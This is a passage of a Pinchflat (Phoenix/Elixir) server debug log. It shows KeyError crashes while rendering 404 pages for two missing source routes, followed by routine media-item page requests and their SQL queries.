#PID<0.36786.0>, params: %{}, path_info: ["sources", "10", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4PTCMbYSu9cAAWhj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 26, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykk (truncated) 21:43:13.597 [error] #PID<0.36787.0> running PinchflatWeb.Endpoint (connection #PID<0.36686.0>, stream id 27) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 27, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36787.0>, params: %{}, path_info: ["sources", "10", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4PTOeE7vbj8AAWsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 27, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 27, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaU (truncated) 21:43:13.609 [info] GET /sources/10/media/12542 21:43:13.609 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12542", "source_id" => "10"} Pipelines: [:browser] 21:43:13.611 [debug] QUERY OK source="media_items" db=0.6ms idle=88.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12542] 21:43:13.612 [debug] QUERY OK source="tasks" db=0.4ms idle=16.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12542] 21:43:13.612 [debug] QUERY OK source="sources" db=0.4ms idle=16.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.613 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=16.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2180] 21:43:13.615 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=18.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.615 [debug] QUERY OK source="settings" db=0.4ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.617 [debug] QUERY OK source="settings" db=0.3ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.618 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:13.622 [info] Sent 200 in 13ms 21:43:13.648 [info] GET /sources/10/media/12542/edit 21:43:13.649 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12542", "source_id" => "10"} Pipelines: [:browser] 21:43:13.650 [debug] QUERY OK source="media_items" db=0.5ms idle=36.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12542] 21:43:13.651 [debug] QUERY OK source="settings" db=0.3ms idle=35.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.652 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=35.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.653 [debug] QUERY OK source="settings" db=0.3ms idle=36.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.655 [info] Sent 200 in 6ms 21:43:13.662 [info] GET /sources/10/media/12543 21:43:13.662 [info] GET /sources/10/media/12543/edit 21:43:13.662 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12543", "source_id" => "10"} Pipelines: [:browser] 21:43:13.663 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12543", "source_id" => "10"} Pipelines: [:browser] 21:43:13.664 [debug] QUERY OK source="media_items" db=0.8ms idle=13.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12543] 21:43:13.664 [debug] QUERY OK source="media_items" db=1.3ms idle=44.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12543] 21:43:13.666 [debug] QUERY OK source="sources" db=0.7ms idle=12.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.666 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=13.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12543] 21:43:13.666 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=12.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.667 [debug] QUERY OK source="settings" db=0.6ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.667 [debug] QUERY OK source="oban_jobs" db=1.0ms idle=1.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2181] 21:43:13.668 [debug] QUERY OK source="settings" db=0.7ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.668 [debug] QUERY OK source="settings" db=0.3ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.670 [info] Sent 200 in 7ms 21:43:13.670 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.672 [debug] QUERY OK source="settings" db=0.5ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.674 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:13.677 [info] Sent 200 in 15ms 21:43:13.752 [info] GET /sources/10/media/12544 21:43:13.753 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12544", "source_id" => "10"} Pipelines: [:browser] 21:43:13.754 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=84.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12544] 21:43:13.755 [debug] QUERY OK source="tasks" db=0.6ms idle=85.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12544] 21:43:13.755 [debug] QUERY OK source="sources" db=0.6ms idle=83.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.756 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=83.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2182] 21:43:13.757 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=83.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.758 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.759 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.761 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", 